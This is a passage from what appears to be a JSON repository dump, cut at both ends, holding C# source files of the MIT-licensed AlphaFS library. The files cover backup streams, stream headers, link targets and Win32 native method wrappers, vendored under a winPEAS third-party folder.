attributes) : this(File.CreateFileCore(transaction, false, path, attributes, null, mode, access, share, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode, access rights and sharing permission, additional file attributes, access control and audit security.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"attributes\">A <see cref=\"ExtendedFileAttributes\"/> constant that specifies additional file attributes.</param>\n      /// <param name=\"security\">A <see cref=\"FileSecurity\"/> constant that determines the access control and audit security for the file. This parameter This parameter may be <c>null</c>.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes, FileSecurity security) : this(File.CreateFileCore(transaction, false, path, attributes, security, mode, access, share, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class for the specified file handle, with the specified read/write permission.</summary>\n      /// <param name=\"handle\">A file handle for the file that this <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that gets the <see cref=\"CanRead\"/> and <see cref=\"CanWrite\"/> properties of the <see cref=\"BackupFileStream\"/> object.</param>\n      [SecurityCritical]\n      public BackupFileStream(SafeFileHandle handle, FileSystemRights access)\n      {\n         NativeMethods.IsValidHandle(handle);\n\n         SafeFileHandle = handle;\n\n         _canRead = (access & FileSystemRights.ReadData) != 0;\n         _canWrite = (access & FileSystemRights.WriteData) != 0;\n         _processSecurity = true;\n      }\n\n\n      /// <summary>When overridden in a derived class, gets the length in bytes of the stream.</summary>\n      /// <value>This method always throws an exception.</value>\n      /// <exception cref=\"NotSupportedException\"/>\n      public override long Length\n      {\n         get { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); }\n      }\n\n\n      /// <summary>When overridden in a derived class, gets or sets the position within the current stream.</summary>\n      /// <value>This method always throws an exception.</value>\n      /// <exception cref=\"NotSupportedException\"/>\n      public override long Position\n      {\n         get { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); }\n         set { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); }\n      }\n\n\n      /// <summary>When overridden in a derived class, sets the position within the current stream.</summary>\n      /// <param name=\"offset\">A byte offset relative to the <paramref name=\"origin\"/> parameter.</param>\n      /// <param name=\"origin\">A value of type <see cref=\"System.IO.SeekOrigin\"/> indicating the reference point used to obtain the new position.</param>\n      /// <returns>The new position within the current stream.</returns>\n      /// <remarks><para><note><para>This stream does not support seeking using this method, and calling this method will always throw <see cref=\"NotSupportedException\"/>. See <see cref=\"Skip\"/> for an alternative way of seeking forward.</para></note></para></remarks>\n      /// <exception cref=\"NotSupportedException\"/>\n      public override long Seek(long offset, SeekOrigin origin)\n      {\n         throw new NotSupportedException(Resources.No_Stream_Seeking_Support);\n      }\n\n\n      /// <summary>When overridden in a derived class, sets the length of the current stream.</summary>\n      /// <param name=\"value\">The desired length of the current stream in bytes.</param>\n      /// <remarks>This method is not supported by the <see cref=\"BackupFileStream\"/> class, and calling it will always generate a <see cref=\"NotSupportedException\"/>.</remarks>\n      /// <exception cref=\"NotSupportedException\"/>\n      public override void SetLength(long value)\n      {\n         throw new NotSupportedException(Resources.No_Stream_Seeking_Support);\n      }\n      \n      \n\n\n      /// <summary>Gets a value indicating whether the current stream supports reading.</summary>\n      /// <returns><c>true</c> if the stream supports reading, <c>false</c> otherwise.</returns>\n      public override bool CanRead\n      {\n         get { return _canRead; }\n      }\n\n      /// <summary>Gets a value indicating whether the current stream supports seeking.</summary>        \n      /// <returns>This method always returns <c>false</c>.</returns>\n      public override bool CanSeek\n      {\n         get { return false; }\n      }\n\n      /// <summary>Gets a value indicating whether the current stream supports writing.</summary>\n      /// <returns><c>true</c> if the stream supports writing, <c>false</c> otherwise.</returns>\n      public override bool CanWrite\n      {\n         get { return _canWrite; }\n      }\n\n      /// <summary>Gets a <see cref=\"SafeFileHandle\"/> object that represents the operating system file handle for the file that the current <see cref=\"BackupFileStream\"/> object encapsulates.</summary>\n      /// <value>A <see cref=\"SafeFileHandle\"/> object that represents the operating system file handle for the file that \n      /// the current <see cref=\"BackupFileStream\"/> object encapsulates.</value>\n      private SafeFileHandle SafeFileHandle { get; set; }\n\n\n\n\n      /// <summary>Reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read.</summary>\n      /// <remarks>This method will not backup the access-control list (ACL) data for the file or directory.</remarks>\n      /// <param name=\"buffer\">\n      ///   An array of bytes. When this method returns, the buffer contains the specified byte array with the values between\n      ///   <paramref name=\"offset\"/> and (<paramref name=\"offset\"/> + <paramref name=\"count\"/> - 1) replaced by the bytes read from the\n      ///   current source.\n      /// </param>\n      /// <param name=\"offset\">\n      ///   The zero-based byte offset in <paramref name=\"buffer\"/> at which to begin storing the data read from the current stream.\n      /// </param>\n      /// <param name=\"count\">The maximum number of bytes to be read from the current stream.</param>\n      /// <returns>\n      ///   The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not\n      ///   currently available, or zero (0) if the end of the stream has been reached.\n      /// </returns>\n      ///\n      /// <exception cref=\"System.ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"System.ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ObjectDisposedException\"/>\n      public override int Read(byte[] buffer, int offset, int count)\n      {\n         return Read(buffer, offset, count, false);\n      }\n\n\n      /// <summary>When overridden in a derived class, reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read.</summary>\n      /// <param name=\"buffer\">An array of bytes. When this method returns, the buffer contains the specified byte array with the values\n      /// between <paramref name=\"offset\"/> and (<paramref name=\"offset\"/> + <paramref name=\"count\"/> - 1) replaced by the bytes read from the current source.</param>\n      /// <param name=\"offset\">The zero-based byte offset in <paramref name=\"buffer\"/> at which to begin storing the data read from the current stream.</param>\n      /// <param name=\"count\">The maximum number of bytes to be read from the current stream.</param>\n      /// <param name=\"processSecurity\">Indicates whether the function will backup the access-control list (ACL) data for the file or directory.</param>\n      /// <returns>\n      /// The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not\n      /// currently available, or zero (0) if the end of the stream has been reached.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ObjectDisposedException\"/>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands\")]\n      [SecurityCritical]\n      public int Read(byte[] buffer, int offset, int count, bool processSecurity)\n      {\n         if (buffer == null)\n            throw new ArgumentNullException(\"buffer\");\n\n         if (!CanRead)\n            throw new NotSupportedException(\"Stream does not support reading\");\n\n         if (offset + count > buffer.Length)\n            throw new ArgumentException(\"The sum of offset and count is larger than the size of the buffer.\", \"offset\");\n\n         if (offset < 0)\n            throw new ArgumentOutOfRangeException(\"offset\", offset, Resources.Negative_Offset);\n\n         if (count < 0)\n            throw new ArgumentOutOfRangeException(\"count\", count, Resources.Negative_Count);\n\n\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(count))\n         {\n            uint numberOfBytesRead;\n\n            var success = NativeMethods.BackupRead(SafeFileHandle, safeBuffer, (uint) safeBuffer.Capacity, out numberOfBytesRead, false, processSecurity, ref _context);\n            \n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n\n\n            // See File.GetAccessControlCore(): .CopyTo() does not work there?\n            // 2017-06-13: Is .CopyTo() doing anything useful here?\n            safeBuffer.CopyTo(buffer, offset, count);\n\n            return (int) numberOfBytesRead;\n         }\n      }\n\n\n      /// <summary>Writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written.</summary>\n      /// <overloads>\n      /// Writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written.\n      /// </overloads>\n      /// <param name=\"buffer\">An array of bytes. This method copies <paramref name=\"count\"/> bytes from <paramref name=\"buffer\"/> to the current stream.</param>\n      /// <param name=\"offset\">The zero-based byte offset in <paramref name=\"buffer\"/> at which to begin copying bytes to the current stream.</param>\n      /// <param name=\"count\">The number of bytes to be written to the current stream.</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"System.ArgumentNullException\"/>\n      /// <exception cref=\"System.ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ObjectDisposedException\"/>\n      /// <remarks>This method will not process the access-control list (ACL) data for the file or directory.</remarks>      \n      public override void Write(byte[] buffer, int offset, int count)\n      {\n         Write(buffer, offset, count, false);\n      }\n\n\n      /// <summary>When overridden in a derived class, writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written.</summary>\n      /// <param name=\"buffer\">An array of bytes. This method copies <paramref name=\"count\"/> bytes from <paramref name=\"buffer\"/> to the current stream.</param>\n      /// <param name=\"offset\">The zero-based byte offset in <paramref name=\"buffer\"/> at which to begin copying bytes to the current stream.</param>\n      /// <param name=\"count\">The number of bytes to be written to the current stream.</param>\n      /// <param name=\"processSecurity\">Specifies whether the function will restore the access-control list (ACL) data for the file or directory. \n      /// If this is <c>true</c> you need to specify <see cref=\"FileSystemRights.TakeOwnership\"/> and <see cref=\"FileSystemRights.ChangePermissions\"/> access when \n      /// opening the file or directory handle. If the handle does not have those access rights, the operating system denies \n      /// access to the ACL data, and ACL data restoration will not occur.</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"System.ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ObjectDisposedException\"/>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands\")]\n      [SecurityCritical]\n      public void Write(byte[] buffer, int offset, int count, bool processSecurity)\n      {\n         if (buffer == null)\n            throw new ArgumentNullException(\"buffer\");\n\n         if (offset < 0)\n            throw new ArgumentOutOfRangeException(\"offset\", offset, Resources.Negative_Offset);\n\n         if (count < 0)\n            throw new ArgumentOutOfRangeException(\"count\", count, Resources.Negative_Count);\n\n         if (offset + count > buffer.Length)\n            throw new ArgumentException(Resources.Buffer_Not_Large_Enough, \"offset\");\n\n\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(count))\n         {\n            safeBuffer.CopyFrom(buffer, offset, count);\n\n            uint bytesWritten;\n\n            var success = NativeMethods.BackupWrite(SafeFileHandle, safeBuffer, (uint)safeBuffer.Capacity, out bytesWritten, false, processSecurity, ref _context);\n            \n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n         }\n      }\n\n\n      /// <summary>Clears all buffers for this stream and causes any buffered data to be written to the underlying device.</summary>\n      public override void Flush()\n      {\n         var success = NativeMethods.FlushFileBuffers(SafeFileHandle);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError);\n      }\n\n\n      /// <summary>Skips ahead the specified number of bytes from the current stream.</summary>\n      /// <remarks><para>This method represents the Win32 API implementation of <see href=\"http://msdn.microsoft.com/en-us/library/aa362509(VS.85).aspx\">BackupSeek</see>.</para>\n      /// <para>\n      /// Applications use the <see cref=\"Skip\"/> method to skip portions of a data stream that cause errors. This function does not \n      /// seek across stream headers. For example, this function cannot be used to skip the stream name. If an application \n      /// attempts to seek past the end of a substream, the function fails, the return value indicates the actual number of bytes \n      /// the function seeks, and the file position is placed at the start of the next stream header.\n      /// </para>\n      /// </remarks>\n      /// <param name=\"bytes\">The number of bytes to skip.</param>\n      /// <returns>The number of bytes actually skipped.</returns>\n      [SecurityCritical]\n      public long Skip(long bytes)\n      {\n         uint lowSought, highSought;\n\n         var success = NativeMethods.BackupSeek(SafeFileHandle, NativeMethods.GetLowOrderDword(bytes), NativeMethods.GetHighOrderDword(bytes), out lowSought, out highSought, ref _context);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success && lastError != Win32Errors.ERROR_SEEK)\n         {\n            // Error Code 25 indicates a seek error, we just skip that here.\n            NativeError.ThrowException(lastError);\n         }\n\n         return NativeMethods.ToLong(highSought, lowSought);\n      }\n\n\n      /// <summary>Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for the file described by the current <see cref=\"BackupFileStream\"/> object.</summary>\n      /// <exception cref=\"IOException\"/>\n      /// <returns>\n      ///   A <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for the file described by the current\n      ///   <see cref=\"BackupFileStream\"/> object.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public FileSecurity GetAccessControl()\n      {\n         IntPtr pSidOwner, pSidGroup, pDacl, pSacl;\n         SafeGlobalMemoryBufferHandle pSecurityDescriptor;\n\n         var lastError = (int) SecurityNativeMethods.GetSecurityInfo(SafeFileHandle, SE_OBJECT_TYPE.SE_FILE_OBJECT, SECURITY_INFORMATION.GROUP_SECURITY_INFORMATION | SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION | SECURITY_INFORMATION.LABEL_SECURITY_INFORMATION | SECURITY_INFORMATION.DACL_SECURITY_INFORMATION | SECURITY_INFORMATION.SACL_SECURITY_INFORMATION, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor);\n\n         try\n         {\n            if (lastError != Win32Errors.ERROR_SUCCESS)\n               NativeError.ThrowException(lastError);\n\n            if (null != pSecurityDescriptor && pSecurityDescriptor.IsInvalid)\n            {\n               pSecurityDescriptor.Close();\n               pSecurityDescriptor = null;\n\n               throw new IOException(new Win32Exception((int) Win32Errors.ERROR_INVALID_SECURITY_DESCR).Message);\n            }\n\n\n            var length = SecurityNativeMethods.GetSecurityDescriptorLength(pSecurityDescriptor);\n            var managedBuffer = new byte[length];\n\n            \n            // .CopyTo() does not work there?\n            if (null != pSecurityDescriptor)\n               pSecurityDescriptor.CopyTo(managedBuffer, 0, (int) length);\n\n\n            var fs = new FileSecurity();\n            fs.SetSecurityDescriptorBinaryForm(managedBuffer);\n\n            return fs;\n         }\n         finally\n         {\n            if (null != pSecurityDescriptor)\n               pSecurityDescriptor.Close();\n         }\n      }\n\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"FileSecurity\"/> object to the file described by the current <see cref=\"BackupFileStream\"/> object.</summary>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an ACL entry to apply to the current file.</param>\n      [SecurityCritical]\n      public void SetAccessControl(ObjectSecurity fileSecurity)\n      {\n         File.SetAccessControlCore(null, SafeFileHandle, fileSecurity, AccessControlSections.All, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Prevents other processes from changing the <see cref=\"BackupFileStream\"/> while permitting read access.</summary>\n      /// <param name=\"position\">The beginning of the range to lock. The value of this parameter must be equal to or greater than zero (0).</param>\n      /// <param name=\"length\">The range to be locked.</param>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"ObjectDisposedException\"/>\n      [SecurityCritical]\n      public void Lock(long position, long length)\n      {\n         if (position < 0)\n            throw new ArgumentOutOfRangeException(\"position\", position, new Win32Exception((int) Win32Errors.ERROR_NEGATIVE_SEEK).Message);\n\n         if (length < 0)\n            throw new ArgumentOutOfRangeException(\"length\", length, Resources.Negative_Lock_Length);\n\n\n         var success = NativeMethods.LockFile(SafeFileHandle, NativeMethods.GetLowOrderDword(position), NativeMethods.GetHighOrderDword(position), NativeMethods.GetLowOrderDword(length), NativeMethods.GetHighOrderDword(length));\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError);\n      }\n\n\n      /// <summary>Allows access by other processes to all or part of a file that was previously locked.</summary>\n      /// <param name=\"position\">The beginning of the range to unlock.</param>\n      /// <param name=\"length\">The range to be unlocked.</param>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"ObjectDisposedException\"/>\n      [SecurityCritical]\n      public void Unlock(long position, long length)\n      {\n         if (position < 0)\n            throw new ArgumentOutOfRangeException(\"position\", position, new Win32Exception((int) Win32Errors.ERROR_NEGATIVE_SEEK).Message);\n\n         if (length < 0)\n            throw new ArgumentOutOfRangeException(\"length\", length, Resources.Negative_Lock_Length);\n\n\n         var success = NativeMethods.UnlockFile(SafeFileHandle, NativeMethods.GetLowOrderDword(position), NativeMethods.GetHighOrderDword(position), NativeMethods.GetLowOrderDword(length), NativeMethods.GetHighOrderDword(length));\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError);\n      }\n\n\n      /// <summary>Reads a stream header from the current <see cref=\"BackupFileStream\"/>.</summary>\n      /// <returns>The stream header read from the current <see cref=\"BackupFileStream\"/>, or <c>null</c> if the end-of-file \n      /// was reached before the required number of bytes of a header could be read.</returns>\n      /// <exception cref=\"IOException\"/>\n      /// <remarks>The stream must be positioned at where an actual header starts for the returned object to represent valid \n      /// information.</remarks>\n      [SecurityCritical]\n      public BackupStreamInfo ReadStreamInfo()\n      {\n         var sizeOf = Marshal.SizeOf(typeof(NativeMethods.WIN32_STREAM_ID));\n\n         using (var hBuf = new SafeGlobalMemoryBufferHandle(sizeOf))\n         {\n            uint numberOfBytesRead;\n\n            var success = NativeMethods.BackupRead(SafeFileHandle, hBuf, (uint) sizeOf, out numberOfBytesRead, false, _processSecurity, ref _context);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n\n\n            if (numberOfBytesRead == 0)\n               return null;\n\n\n            if (numberOfBytesRead < sizeOf)\n               throw new IOException(Resources.Read_Incomplete_Header);\n\n\n            var streamID = hBuf.PtrToStructure<NativeMethods.WIN32_STREAM_ID>(0);\n            var nameLength = (uint) Math.Min(streamID.dwStreamNameSize, hBuf.Capacity);\n\n\n            success = NativeMethods.BackupRead(SafeFileHandle, hBuf, nameLength, out numberOfBytesRead, false, _processSecurity, ref _context);\n\n            lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n\n\n            var name = hBuf.PtrToStringUni(0, (int) nameLength / UnicodeEncoding.CharSize);\n\n            return new BackupStreamInfo(streamID, name);\n         }\n      }\n\n\n\n\n      #region Disposable Members\n\n      /// <summary>Releases unmanaged resources and performs other cleanup operations before the <see cref=\"BackupFileStream\"/> is reclaimed by garbage collection.</summary>\n      ~BackupFileStream()\n      {\n         Dispose(false);\n      }\n\n\n      /// <summary>Releases the unmanaged resources used by the <see cref=\"System.IO.Stream\"/> and optionally releases the managed resources.</summary>\n      /// <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      protected override void Dispose(bool disposing)\n      {\n         if (disposing)\n         {\n            // If one of the constructors previously threw an exception,\n            // than the object hasn't been initialized properly and call from finalize will fail.         \n\n            if (null != SafeFileHandle && !SafeFileHandle.IsInvalid)\n            {\n               if (_context != IntPtr.Zero)\n               {\n                  try\n                  {\n                     uint temp;\n\n                     // MSDN: To release the memory used by the data structure, call BackupRead with the bAbort parameter set to TRUE when the backup operation is complete.\n                     var success = NativeMethods.BackupRead(SafeFileHandle, new SafeGlobalMemoryBufferHandle(), 0, out temp, true, false, ref _context);\n\n                     var lastError = Marshal.GetLastWin32Error();\n                     if (!success)\n                        NativeError.ThrowException(lastError);\n                  }\n                  finally\n                  {\n                     _context = IntPtr.Zero;\n\n                     NativeMethods.CloseSafeHandle(SafeFileHandle);\n                  }\n               }\n            }\n         }\n\n\n         base.Dispose(disposing);\n      }\n      \n      #endregion // Disposable Members\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/BackupStreamInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>The <see cref=\"BackupStreamInfo\"/> structure contains stream header data.</summary>\n   /// <seealso cref=\"BackupFileStream\"/>\n   public sealed class BackupStreamInfo\n   {\n      #region Fields\n\n      private readonly long _streamSize;\n      private readonly string _streamName;\n      private readonly StreamId _streamId;\n      private readonly StreamAttribute _streamAttribute;\n\n      #endregion // Fields\n\n\n      #region Constructor\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupStreamInfo\"/> class.</summary>\n      /// <param name=\"streamId\">The stream ID.</param>\n      /// <param name=\"name\">The name.</param>\n      internal BackupStreamInfo(NativeMethods.WIN32_STREAM_ID streamId, string name)\n      {\n         _streamName = name;\n         _streamSize = (long)streamId.Size;\n         _streamAttribute = (StreamAttribute)streamId.dwStreamAttribute;\n         _streamId = (StreamId)streamId.dwStreamId;\n      }\n\n      #endregion // Constructor\n\n\n      #region Public Properties\n\n      /// <summary>Gets the size of the data in the substream, in bytes.</summary>\n      /// <value>The size of the data in the substream, in bytes.</value>\n      public long Size\n      {\n         get { return _streamSize; }\n      }\n\n\n      /// <summary>Gets a string that specifies the name of the alternative data stream.</summary>\n      /// <value>A string that specifies the name of the alternative data stream.</value>\n      public string Name\n      {\n         get { return _streamName; }\n      }\n\n\n      /// <summary>Gets the type of the data in the stream.</summary>\n      /// <value>The type of the data in the stream.</value>\n      public StreamId StreamType\n      {\n         get { return _streamId; }\n      }\n\n\n      /// <summary>Gets the attributes of the data to facilitate cross-operating system transfer.</summary>\n      /// <value>Attributes of the data to facilitate cross-operating system transfer.</value>\n      public StreamAttribute Attribute\n      {\n         get { return _streamAttribute; }\n      }\n\n      #endregion // Public Properties\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/LinkTargetInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Information about the target of a symbolic link or mount point.</summary>\n   public class LinkTargetInfo\n   {\n      internal LinkTargetInfo(string substituteName, string printName)\n      {\n         SubstituteName = substituteName;\n\n         PrintName = Path.RemoveTrailingDirectorySeparator(printName ?? Path.GetRegularPathCore(substituteName, GetFullPathOptions.None, false));\n      }\n\n      \n      /// <summary>The print name.</summary>\n      public string PrintName { get; private set; }\n\n\n      /// <summary>The substitute name.</summary>\n      public string SubstituteName { get; private set; }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/SymbolicLinkTargetInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents information about a symbolic link.</summary>\n   public class SymbolicLinkTargetInfo : LinkTargetInfo\n   {\n      internal SymbolicLinkTargetInfo(string substituteName, string printName, SymbolicLinkType type) : base(substituteName, printName)\n      {\n         LinkType = type;\n      }\n\n      /// <summary>Gets the type of the link.</summary>\n      /// <value>The type of the link.</value>\n      public SymbolicLinkType LinkType { get; private set; }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.BackupStreams.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The BackupRead function can be used to back up a file or directory, including the security information.\n      ///   <para>The function reads data associated with a specified file or directory into a buffer,</para>\n      ///   <para>which can then be written to the backup medium using the WriteFile function.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>This function is not intended for use in backing up files encrypted under the Encrypted File System.</para>\n      ///   <para>Use ReadEncryptedFileRaw for that purpose.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"hFile\">The file.</param>\n      /// <param name=\"lpBuffer\">The buffer.</param>\n      /// <param name=\"nNumberOfBytesToRead\">Number of bytes to reads.</param>\n      /// <param name=\"lpNumberOfBytesRead\">[out] Number of bytes reads.</param>\n      /// <param name=\"bAbort\">true to 